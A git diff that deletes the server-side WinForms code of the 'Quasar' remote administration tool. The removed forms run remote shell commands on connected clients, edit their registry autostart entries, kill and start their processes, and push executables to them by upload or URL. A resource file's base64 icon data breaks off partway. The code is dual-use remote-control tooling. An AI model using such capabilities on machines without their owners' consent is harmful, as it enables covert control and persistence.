= this; - - InitializeComponent(); - - txtConsoleOutput.AppendText(">> Type 'exit' to close this session" + Environment.NewLine); - } - - private void FrmRemoteShell_Load(object sender, EventArgs e) - { - this.DoubleBuffered = true; - - if (_connectClient != null) - this.Text = WindowHelper.GetWindowTitle("Remote Shell", _connectClient); - } - - private void FrmRemoteShell_FormClosing(object sender, FormClosingEventArgs e) - { - new Core.Packets.ServerPackets.DoShellExecute("exit").Execute(_connectClient); - if (_connectClient.Value != null) - _connectClient.Value.FrmRs = null; - } - - private void txtConsoleOutput_TextChanged(object sender, EventArgs e) - { - NativeMethodsHelper.ScrollToBottom(txtConsoleOutput.Handle); - } - - private void txtConsoleInput_KeyDown(object sender, KeyEventArgs e) - { - if (e.KeyCode == Keys.Enter && !string.IsNullOrEmpty(txtConsoleInput.Text.Trim())) - { - string input = txtConsoleInput.Text.TrimStart(' ', ' ').TrimEnd(' ', ' '); - txtConsoleInput.Text = string.Empty; - - // Split based on the space key. - string[] splitSpaceInput = input.Split(' '); - // Split based on the null key. - string[] splitNullInput = input.Split(' '); - - // We have an exit command. - if (input == "exit" || - ((splitSpaceInput.Length > 0) && splitSpaceInput[0] == "exit") || - ((splitNullInput.Length > 0) && splitNullInput[0] == "exit")) - { - this.Close(); - } - else - { - switch (input) - { - case "cls": - txtConsoleOutput.Text = string.Empty; - break; - default: - new Core.Packets.ServerPackets.DoShellExecute(input).Execute(_connectClient); - break; - } - } - - e.Handled = true; - e.SuppressKeyPress = true; - } - } - - private void txtConsoleOutput_KeyPress(object sender, KeyPressEventArgs e) - { - if (e.KeyChar != (char) 2) - { - txtConsoleInput.Text += e.KeyChar.ToString(); - txtConsoleInput.Focus(); - txtConsoleInput.SelectionStart = txtConsoleOutput.TextLength; - txtConsoleInput.ScrollToCaret(); - } - } - - public void PrintMessage(string message) - { - try - { - txtConsoleOutput.Invoke((MethodInvoker)delegate - { - txtConsoleOutput.SelectionColor = Color.WhiteSmoke; - txtConsoleOutput.AppendText(message); - }); - } - catch (InvalidOperationException) - { - } - } - - public void PrintError(string errorMessage) - { - try - { - txtConsoleOutput.Invoke((MethodInvoker)delegate - { - txtConsoleOutput.SelectionColor = Color.Red; - txtConsoleOutput.AppendText(errorMessage); - }); - } - catch (InvalidOperationException) - { - } - } - } -} \ No newline at end of file diff --git a/Server/Forms/FrmStartupManager.cs b/Server/Forms/FrmStartupManager.cs deleted file mode 100644 index e4229527c..000000000 --- a/Server/Forms/FrmStartupManager.cs +++ /dev/null @@ -1,126 +0,0 @@ -using System; -using System.Linq; -using System.Windows.Forms; -using xServer.Core.Data; -using xServer.Core.Helper; -using xServer.Core.Networking; - -namespace xServer.Forms -{ - public partial class FrmStartupManager : Form - { - private readonly Client _connectClient; - - public FrmStartupManager(Client c) - { - _connectClient = c; - _connectClient.Value.FrmStm = this; - InitializeComponent(); - } - - private void FrmStartupManager_Load(object sender, EventArgs e) - { - if (_connectClient != null) - { - this.Text = WindowHelper.GetWindowTitle("Startup Manager", _connectClient); - AddGroups(); - new Core.Packets.ServerPackets.GetStartupItems().Execute(_connectClient); - } - } - - private void AddGroups() - { - lstStartupItems.Groups.Add( - new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")); - lstStartupItems.Groups.Add( - new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")); - lstStartupItems.Groups.Add( - new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")); - lstStartupItems.Groups.Add( - new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")); - lstStartupItems.Groups.Add( - new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")); - lstStartupItems.Groups.Add( - new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")); - lstStartupItems.Groups.Add(new ListViewGroup("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")); - } - - private void FrmStartupManager_FormClosing(object sender, FormClosingEventArgs e) - { - if (_connectClient.Value != null) - _connectClient.Value.FrmStm = null; - } - - #region "ContextMenuStrip" - - private void addEntryToolStripMenuItem_Click(object sender, EventArgs e) - { - using (var frm = new FrmAddToAutostart()) - { - if (frm.ShowDialog() == DialogResult.OK) - { - if (_connectClient != null) - { - new Core.Packets.ServerPackets.DoStartupItemAdd(AutostartItem.Name, AutostartItem.Path, - AutostartItem.Type).Execute(_connectClient); - lstStartupItems.Items.Clear(); - new Core.Packets.ServerPackets.GetStartupItems().Execute(_connectClient); - } - } - } - } - - private void removeEntryToolStripMenuItem_Click(object sender, EventArgs e) - { - int modified = 0; - foreach (ListViewItem item in lstStartupItems.SelectedItems) - { - if (_connectClient != null) - { - int type = lstStartupItems.Groups.Cast().TakeWhile(t => t != item.Group).Count(); - new Core.Packets.ServerPackets.DoStartupItemRemove(item.Text, item.SubItems[1].Text, type).Execute(_connectClient); - } - modified++; - } - - if (modified > 0 && _connectClient != null) - { - lstStartupItems.Items.Clear(); - new Core.Packets.ServerPackets.GetStartupItems().Execute(_connectClient); - } - } - - #endregion - - public void AddAutostartItemToListview(ListViewItem lvi) - { - try - { - lstStartupItems.Invoke((MethodInvoker) delegate - { - lstStartupItems.Items.Add(lvi); - }); - } - catch (InvalidOperationException) - { - } - } - - public ListViewGroup GetGroup(int group) - { - ListViewGroup g = null; - try - { - lstStartupItems.Invoke((MethodInvoker) delegate - { - g = lstStartupItems.Groups[group]; - }); - } - catch (InvalidOperationException) - { - return null; - } - return g; - } - } -} \ No newline at end of file diff --git a/Server/Forms/FrmSystemInformation.cs b/Server/Forms/FrmSystemInformation.cs deleted file mode 100644 index f5eab692d..000000000 --- a/Server/Forms/FrmSystemInformation.cs +++ /dev/null @@ -1,134 +0,0 @@ -using System; -using System.Linq; -using System.Windows.Forms; -using xServer.Core.Extensions; -using xServer.Core.Helper; -using xServer.Core.Networking; - -namespace xServer.Forms -{ - public partial class FrmSystemInformation : Form - { - private readonly Client _connectClient; - - public FrmSystemInformation(Client c) - { - _connectClient = c; - _connectClient.Value.FrmSi = this; - - InitializeComponent(); - } - - private void FrmSystemInformation_Load(object sender, EventArgs e) - { - if (_connectClient != null) - { - this.Text = WindowHelper.GetWindowTitle("System Information", _connectClient); - new Core.Packets.ServerPackets.GetSystemInfo().Execute(_connectClient); - - if (_connectClient.Value != null) - { - ListViewItem lvi = - new ListViewItem(new string[] {"Operating System", _connectClient.Value.OperatingSystem}); - lstSystem.Items.Add(lvi); - lvi = - new ListViewItem(new string[] - { - "Architecture", - (_connectClient.Value.OperatingSystem.Contains("32 Bit")) ? "x86 (32 Bit)" : "x64 (64 Bit)" - }); - lstSystem.Items.Add(lvi); - lvi = new ListViewItem(new string[] {"", "Getting more information..."}); - lstSystem.Items.Add(lvi); - } - } - } - - private void FrmSystemInformation_FormClosing(object sender, FormClosingEventArgs e) - { - if (_connectClient.Value != null) - _connectClient.Value.FrmSi = null; - } - - public void AddItems(ListViewItem[] lviCollection) - { - try - { - lstSystem.Invoke((MethodInvoker) delegate - { - lstSystem.Items.RemoveAt(2); // Loading... Information - - foreach (var lviItem in lviCollection) - { - if (lviItem != null) - lstSystem.Items.Add(lviItem); - } - - lstSystem.AutosizeColumns(); - }); - } - catch (InvalidOperationException) - { - } - } - - private void copyAllToolStripMenuItem_Click(object sender, EventArgs e) - { - if (lstSystem.Items.Count == 0) return; - - string output = string.Empty; - - foreach (ListViewItem lvi in lstSystem.Items) - { - output = lvi.SubItems.Cast().Aggregate(output, (current, lvs) => current + (lvs.Text + " : ")); - output = output.Remove(output.Length - 3); - output = output + "\r\n"; - } - - ClipboardHelper.SetClipboardText(output); - } - - private void copySelectedToolStripMenuItem_Click(object sender, EventArgs e) - { - if (lstSystem.SelectedItems.Count == 0) return; - - string output = string.Empty; - - foreach (ListViewItem lvi in lstSystem.SelectedItems) - { - output = lvi.SubItems.Cast().Aggregate(output, (current, lvs) => current + (lvs.Text + " : ")); - output = output.Remove(output.Length - 3); - output = output + "\r\n"; - } - - ClipboardHelper.SetClipboardText(output); - } - - private void refreshToolStripMenuItem_Click(object sender, EventArgs e) - { - lstSystem.Items.Clear(); - - if (_connectClient != null) - { - this.Text = WindowHelper.GetWindowTitle("System Information", _connectClient); - new Core.Packets.ServerPackets.GetSystemInfo().Execute(_connectClient); - - if (_connectClient.Value != null) - { - ListViewItem lvi = - new ListViewItem(new string[] { "Operating System", _connectClient.Value.OperatingSystem }); - lstSystem.Items.Add(lvi); - lvi = - new ListViewItem(new string[] - { - "Architecture", - (_connectClient.Value.OperatingSystem.Contains("32 Bit")) ? "x86 (32 Bit)" : "x64 (64 Bit)" - }); - lstSystem.Items.Add(lvi); - lvi = new ListViewItem(new string[] { "", "Getting more information..." }); - lstSystem.Items.Add(lvi); - } - } - } - } -} \ No newline at end of file diff --git a/Server/Forms/FrmTaskManager.cs b/Server/Forms/FrmTaskManager.cs deleted file mode 100644 index 777175ddc..000000000 --- a/Server/Forms/FrmTaskManager.cs +++ /dev/null @@ -1,116 +0,0 @@ -using System; -using System.Windows.Forms; -using xServer.Controls; -using xServer.Core.Helper; -using xServer.Core.Networking; - -namespace xServer.Forms -{ - public partial class FrmTaskManager : Form - { - private readonly Client _connectClient; - - public FrmTaskManager(Client c) - { - _connectClient = c; - _connectClient.Value.FrmTm = this; - - InitializeComponent(); - } - - private void FrmTaskManager_Load(object sender, EventArgs e) - { - if (_connectClient != null) - { - this.Text = WindowHelper.GetWindowTitle("Task Manager", _connectClient); - new Core.Packets.ServerPackets.GetProcesses().Execute(_connectClient); - } - } - - private void FrmTaskManager_FormClosing(object sender, FormClosingEventArgs e) - { - if (_connectClient.Value != null) - _connectClient.Value.FrmTm = null; - } - - #region "ContextMenuStrip" - - private void killProcessToolStripMenuItem_Click(object sender, EventArgs e) - { - if (_connectClient != null) - { - foreach (ListViewItem lvi in lstTasks.SelectedItems) - { - new Core.Packets.ServerPackets.DoProcessKill(int.Parse(lvi.SubItems[1].Text)).Execute(_connectClient); - } - } - } - - private void startProcessToolStripMenuItem_Click(object sender, EventArgs e) - { - string processname = string.Empty; - if (InputBox.Show("Processname", "Enter Processname:", ref processname) == DialogResult.OK) - { - if (_connectClient != null) - new Core.Packets.ServerPackets.DoProcessStart(processname).Execute(_connectClient); - } - } - - private void refreshToolStripMenuItem_Click(object sender, EventArgs e) - { - if (_connectClient != null) - { - new Core.Packets.ServerPackets.GetProcesses().Execute(_connectClient); - } - } - - #endregion - - public void ClearListviewItems() - { - try - { - lstTasks.Invoke((MethodInvoker)delegate - { - lstTasks.Items.Clear(); - }); - } - catch (InvalidOperationException) - { - } - } - - public void AddProcessToListview(string processName, int pid, string windowTitle) - { - try - { - ListViewItem lvi = new ListViewItem(new string[] - { - processName, pid.ToString(), windowTitle - }); - - lstTasks.Invoke((MethodInvoker)delegate - { - lstTasks.Items.Add(lvi); - }); - } - catch (InvalidOperationException) - { - } - } - - public void SetProcessesCount(int processesCount) - { - try - { - statusStrip.Invoke((MethodInvoker) delegate - { - processesToolStripStatusLabel.Text = "Processes: " + processesCount.ToString(); - }); - } - catch (InvalidOperationException) - { - } - } - } -} \ No newline at end of file diff --git a/Server/Forms/FrmTermsOfUse.Designer.cs b/Server/Forms/FrmTermsOfUse.Designer.cs deleted file mode 100644 index 12a541b57..000000000 --- a/Server/Forms/FrmTermsOfUse.Designer.cs +++ /dev/null @@ -1,123 +0,0 @@ -namespace xServer.Forms -{ - partial class FrmTermsOfUse - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmTermsOfUse)); - this.rtxtContent = new System.Windows.Forms.RichTextBox(); - this.lblToU = new System.Windows.Forms.Label(); - this.btnAccept = new System.Windows.Forms.Button(); - this.btnDecline = new System.Windows.Forms.Button(); - this.chkDontShowAgain = new System.Windows.Forms.CheckBox(); - this.SuspendLayout(); - // - // rtxtContent - // - this.rtxtContent.Location = new System.Drawing.Point(12, 42); - this.rtxtContent.Name = "rtxtContent"; - this.rtxtContent.ReadOnly = true; - this.rtxtContent.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; - this.rtxtContent.Size = new System.Drawing.Size(398, 242); - this.rtxtContent.TabIndex = 0; - this.rtxtContent.Text = ""; - // - // lblToU - // - this.lblToU.AutoSize = true; - this.lblToU.Font = new System.Drawing.Font("Segoe UI", 15.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.lblToU.Location = new System.Drawing.Point(12, 9); - this.lblToU.Name = "lblToU"; - this.lblToU.Size = new System.Drawing.Size(140, 30); - this.lblToU.TabIndex = 1; - this.lblToU.Text = "Terms of Use"; - // - // btnAccept - // - this.btnAccept.Enabled = false; - this.btnAccept.Location = new System.Drawing.Point(335, 291); - this.btnAccept.Name = "btnAccept"; - this.btnAccept.Size = new System.Drawing.Size(75, 23); - this.btnAccept.TabIndex = 2; - this.btnAccept.Text = "Accept"; - this.btnAccept.UseVisualStyleBackColor = true; - this.btnAccept.Click += new System.EventHandler(this.btnAccept_Click); - // - // btnDecline - // - this.btnDecline.Location = new System.Drawing.Point(254, 291); - this.btnDecline.Name = "btnDecline"; - this.btnDecline.Size = new System.Drawing.Size(75, 23); - this.btnDecline.TabIndex = 3; - this.btnDecline.Text = "Decline"; - this.btnDecline.UseVisualStyleBackColor = true; - this.btnDecline.Click += new System.EventHandler(this.btnDecline_Click); - // - // chkDontShowAgain - // - this.chkDontShowAgain.AutoSize = true; - this.chkDontShowAgain.Location = new System.Drawing.Point(12, 295); - this.chkDontShowAgain.Name = "chkDontShowAgain"; - this.chkDontShowAgain.Size = new System.Drawing.Size(125, 17); - this.chkDontShowAgain.TabIndex = 4; - this.chkDontShowAgain.Text = "Do not show again"; - this.chkDontShowAgain.UseVisualStyleBackColor = true; - // - // FrmTermsOfUse - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(422, 326); - this.Controls.Add(this.chkDontShowAgain); - this.Controls.Add(this.btnDecline); - this.Controls.Add(this.btnAccept); - this.Controls.Add(this.lblToU); - this.Controls.Add(this.rtxtContent); - this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.Fixed3D; - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = "FrmTermsOfUse"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "Quasar - Terms of Use"; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmTermsOfUse_FormClosing); - this.Load += new System.EventHandler(this.FrmTermsOfUse_Load); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.RichTextBox rtxtContent; - private System.Windows.Forms.Label lblToU; - private System.Windows.Forms.Button btnAccept; - private System.Windows.Forms.Button btnDecline; - private System.Windows.Forms.CheckBox chkDontShowAgain; - } -} \ No newline at end of file diff --git a/Server/Forms/FrmTermsOfUse.cs b/Server/Forms/FrmTermsOfUse.cs deleted file mode 100644 index 043602fbd..000000000 --- a/Server/Forms/FrmTermsOfUse.cs +++ /dev/null @@ -1,65 +0,0 @@ -using System; -using System.Threading; -using System.Windows.Forms; -using xServer.Core.Data; - -namespace xServer.Forms -{ - public partial class FrmTermsOfUse : Form - { - private static bool _exit = true; - - public FrmTermsOfUse() - { - InitializeComponent(); - rtxtContent.Text = Properties.Resources.TermsOfUse; - } - - private void FrmTermsOfUse_Load(object sender, EventArgs e) - { - lblToU.Left = (this.Width/2) - (lblToU.Width/2); - Thread t = new Thread(Wait20Sec) {IsBackground = true}; - t.Start(); - } - - private void FrmTermsOfUse_FormClosing(object sender, FormClosingEventArgs e) - { - if (e.CloseReason == CloseReason.UserClosing && _exit) - System.Diagnostics.Process.GetCurrentProcess().Kill(); - } - - private void btnAccept_Click(object sender, EventArgs e) - { - var showToU = !chkDontShowAgain.Checked; - Settings.ShowToU = showToU; - _exit = false; - this.Close(); - } - - private void btnDecline_Click(object sender, EventArgs e) - { - System.Diagnostics.Process.GetCurrentProcess().Kill(); - } - - private void Wait20Sec() - { - for (int i = 19; i >= 0; i--) - { - Thread.Sleep(1000); - try - { - this.Invoke((MethodInvoker) delegate { btnAccept.Text = "Accept (" + i + ")"; }); - } - catch - { - } - } - - this.Invoke((MethodInvoker) delegate - { - btnAccept.Text = "Accept"; - btnAccept.Enabled = true; - }); - } - } -} \ No newline at end of file diff --git a/Server/Forms/FrmUpdate.cs b/Server/Forms/FrmUpdate.cs deleted file mode 100644 index 75f6c2cc7..000000000 --- a/Server/Forms/FrmUpdate.cs +++ /dev/null @@ -1,64 +0,0 @@ -using System; -using System.IO; -using System.Windows.Forms; -using xServer.Core.Helper; - -namespace xServer.Forms -{ - public partial class FrmUpdate : Form - { - private readonly int _selectedClients; - - public FrmUpdate(int selected) - { - _selectedClients = selected; - InitializeComponent(); - } - - private void FrmUpdate_Load(object sender, EventArgs e) - { - this.Text = WindowHelper.GetWindowTitle("Update Clients", _selectedClients); - if (Core.Data.Update.UseDownload) - radioURL.Checked = true; - txtPath.Text = File.Exists(Core.Data.Update.UploadPath) ? Core.Data.Update.UploadPath : string.Empty; - txtURL.Text = Core.Data.Update.DownloadURL; - btnUpdate.Text = "Update Client" + ((_selectedClients > 1) ? "s" : string.Empty); - } - - private void btnUpdate_Click(object sender, EventArgs e) - { - Core.Data.Update.UseDownload = radioURL.Checked; - Core.Data.Update.UploadPath = File.Exists(txtPath.Text) ? txtPath.Text : string.Empty; - Core.Data.Update.DownloadURL = txtURL.Text; - - this.DialogResult = DialogResult.OK; - this.Close(); - } - - private void btnBrowse_Click(object sender, EventArgs e) - { - using (OpenFileDialog ofd = new OpenFileDialog()) - { - ofd.Multiselect = false; - ofd.Filter = "Executable (*.exe)|*.exe"; - if (ofd.ShowDialog() == DialogResult.OK) - { - txtPath.Text = Path.Combine(ofd.InitialDirectory, ofd.FileName); - } - } - } - - private void radioLocalFile_CheckedChanged(object sender, EventArgs e) - { - groupLocalFile.Enabled = radioLocalFile.Checked; - groupURL.Enabled = !radioLocalFile.Checked; - } - - private void radioURL_CheckedChanged(object sender, EventArgs e) - { - groupLocalFile.Enabled = !radioURL.Checked; - groupURL.Enabled = radioURL.Checked; - } - - } -} \ No newline at end of file diff --git a/Server/Forms/FrmUpdate.resx b/Server/Forms/FrmUpdate.resx deleted file mode 100644 index 2c592595d..000000000 --- a/Server/Forms/FrmUpdate.resx +++ /dev/null @@ -1,659 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - - AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA - IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// - /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// - /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// - /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws - JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo - If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL - Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex - Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub - lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S - zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW - 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI - hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo - If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl - Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo - Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// - /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA - //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA - AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq - I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn - IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp - Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp - Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp - Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw - KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp - Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo - If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo - If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp - Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B - fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo - IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX - D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// - /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 - 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e - V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 - Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp - Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw - qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e - F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 - tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn - IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm - X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF - vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl - Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA - Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo - If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 - +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND - PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ - /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// - /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o - 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo - IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 - bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp - Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo - If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp - Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp - If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr - qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp - Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl - Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp - 